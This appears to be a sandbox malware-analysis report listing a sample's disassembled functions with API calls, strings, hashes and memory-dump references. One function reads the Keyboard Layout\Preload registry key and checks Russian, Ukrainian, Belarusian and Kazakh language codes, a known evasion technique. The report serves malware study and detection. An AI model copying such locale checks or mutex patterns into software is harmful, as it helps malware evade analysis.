Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID: c13L$c13L
API String ID: 1192502693-2565585393
Opcode ID: fa7f3028c1e82d47d059cea7fd2ce62c5d7b5e4d900a28deba2f0d74c3292867
Instruction ID: e51fbb17950c3c47a19aafc3ccecce8f0556cafd726c2f332562baccfa588892
Opcode Fuzzy Hash: fa7f3028c1e82d47d059cea7fd2ce62c5d7b5e4d900a28deba2f0d74c3292867
Instruction Fuzzy Hash: EF728C70A201449BEB18EF38DC89B9D7B79EF45304F60825DF809973C1DB359AA4CB91

Function 0029652B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0029652A,?,?,?,?,?,00297661), ref: 00296567

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ab4c115c4c5974fe047cd52329329b523f1b52759f60ef8f4b44a7700e12ad79
Instruction ID: 8948370e3fc678671ebb32d211cd622f3a8b7969322c62379b5c0a604fef2469
Opcode Fuzzy Hash: ab4c115c4c5974fe047cd52329329b523f1b52759f60ef8f4b44a7700e12ad79
Instruction Fuzzy Hash: 62E0C231021248AFDF257F18C90DD4C3BA9FF1274DF424805FD084A222CB35EEA2CA80

Function 04AC069B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde03f062f5a13f741b3e0d108ed2df6885d7cfcc9a1ae7e8c35c2b61061fbf7
Instruction ID: 8eb848afc8bb67f3c60691e1b03cc8691e64ad57d320e372668e0082365fc8ea
Opcode Fuzzy Hash: dde03f062f5a13f741b3e0d108ed2df6885d7cfcc9a1ae7e8c35c2b61061fbf7
Instruction Fuzzy Hash: 5121ACFB28C614FD618685C22B60AB63A7EE2D2730331C42EF447D5102F2955A4A7AB2

Function 00265C10 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 002660FA
00000419, xrefs: 00266098
c13L, xrefs: 00265DB8, 00265E00, 00265DC5
c13L, xrefs: 00265EE0
c13L, xrefs: 002659F4, 00265C24, 00265D67, 00265EE6, 0026603B, 002665F7
00000422, xrefs: 002660C9
Keyboard Layout\Preload, xrefs: 00266054
0000043f, xrefs: 0026612B

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$c13L$c13L$c13L
API String ID: 0-1534921301
Opcode ID: 9233f746144cb4300dfa00e83fd64cf8093ad35beeae3b7558d84c8605c60676
Instruction ID: 741cf8de22bdde8572d24dc1513c401dc93d1f83e066e93a7af142836b8f0b33
Opcode Fuzzy Hash: 9233f746144cb4300dfa00e83fd64cf8093ad35beeae3b7558d84c8605c60676
Instruction Fuzzy Hash: 6FF1F170910258ABEF24DF64CC85BDEBBB9EF45304F5042A9F509A7281DB749AE4CF90

Function 00269BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 36cf249e97cb44b5c578087537040425b9a36b3294622ff8b1944dc89a41279f
Instruction ID: ad2d8ea9c8f324f9cf22b70330eb90c492535733988a188233619a2ab8641f44
Opcode Fuzzy Hash: 36cf249e97cb44b5c578087537040425b9a36b3294622ff8b1944dc89a41279f
Instruction Fuzzy Hash: 9B317B31624200CBEB08DB78DEC975DB7BAEFC5314F248219E414A73D5CB7599E08B51

Function 00269F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 746d33873397d4c754e8a4bd00889ac751dfb530f81ab8868a08695c41ac5a47
Instruction ID: d6bc2255b7019ed5796ff02c560b3f5877c459d79e2f8a377e42605c71a7ad58
Opcode Fuzzy Hash: 746d33873397d4c754e8a4bd00889ac751dfb530f81ab8868a08695c41ac5a47
Instruction Fuzzy Hash: 6C3168316241008BEF18DB78DDC8BADB77AEF85310F348619E418E72D5CB7699E08B52

Function 0026A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
